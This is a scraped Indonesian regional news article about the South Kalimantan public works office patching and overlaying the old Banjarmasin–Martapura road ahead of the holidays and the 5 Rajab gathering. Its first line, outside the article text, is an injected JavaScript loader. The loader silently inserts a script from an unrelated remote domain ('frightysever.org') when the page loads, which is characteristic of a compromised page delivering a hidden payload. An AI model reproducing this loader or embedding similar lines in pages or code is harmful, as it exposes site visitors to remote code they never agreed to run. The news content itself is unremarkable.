(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjelang akhir 2025 Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kalsel melakukan percepatan rehabilitasi dan pemeliharaan ruas Jalan Martapura Lama dari Simpang Empat Sungai Tabuk hingga Martapura.
Plt Kepala Dinas PUPR Kalsel, M Yasin Toyib melalui Kabid Bina Marga, Robby Cahyadi menjelaskan bahwa penanganan dilakukan sebagai bentuk persiapan pemerintah terhadap peningkatan mobilitas masyarakat saat masa libur panjang.
Juga dengan pelaksanaan kegiatan keagamaan 5 Rajab yang diperkirakan akan menarik ratusan ribu bahkan jutaan orang dari berbagai daerah.
“Dasarnya adalah persiapan Natal dan Tahun Baru, serta kegiatan keagamaan seperti 5 Rajab dan kegiatan kumpul masyarakat lainnya,” ujar dia, Rabu (26/11/2025) siang.
Baca juga: Kualitas dan Distribusi BBM Kena Sorot, Depo Pertamina Banjarmasin Dicek
Robby mengungkapkan, ruas Banjarmasin – Martapura dari Simpang Empat Sungai Tabuk menuju Martapura sempat viral karena kondisi kerusakan badan jalan.
Untuk itu, pihaknya telah mengambil langkah cepat melalui perbaikan setempat (patching) di beberapa titik yang mengalami kerusakan cukup berat.
“Kerusakan setempat pada badan jalan sudah kita tangani dengan patching. Selain itu, ada paket pekerjaan yang sudah berjalan sejak 2025 dan ada paket baru pada anggaran perubahan, termasuk pemeliharaan dan overlay,” jelas dia.
Ia memastikan bahwa penanganan terus dilakukan hingga seluruh ruas tersebut dalam kondisi aman dan nyaman untuk dilalui masyarakat.
Baca juga: Pelebaran Jalan Trans Kalimantan Handil Bakti Capai 88,56%
“Ruas Banjarmasin–Martapura dari Simpang Empat Sungai Tabuk sampai Kota Martapura yang kemarin viral, sudah tertangani,” tegas Robby.
Selain ruas Martapura lama, PUPR Kalsel juga memperhatikan akses pendukung kegiatan 5 Rajab lainnya, termasuk jalur alternatif selain Jalan A. Yani menuju Jejangkit.
“Terkait daerah Jejangkit, terutama di sekitar jembatan, saat ini masih dalam proses penyelesaian paket pekerjaan.
Baca juga: Stiper Amuntai Wisuda 105 Sarjana, Ini Kata Wabup HSU
Di sana juga ada kolaborasi dengan pemerintah desa dan TNI melalui program TMD. Jadi kita menunggu penyelesaian pekerjaan mereka agar penanganan lanjutan bisa dilakukan,” ungkap dia.
Robby memastikan koordinasi lintas sektor terus berjalan intensif agar seluruh pengerjaan dapat rampung tepat waktu sebelum puncak kegiatan 5 Rajab.
“Ini masih tahap koordinasi di lapangan untuk menyelesaikan paket pekerjaan dari kawan-kawan TNI. Mudah-mudahan secepatnya diselesaikan,” pungkas dia. (kanalkalimantan.com/MCKalsel)
Editor: Dhani
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.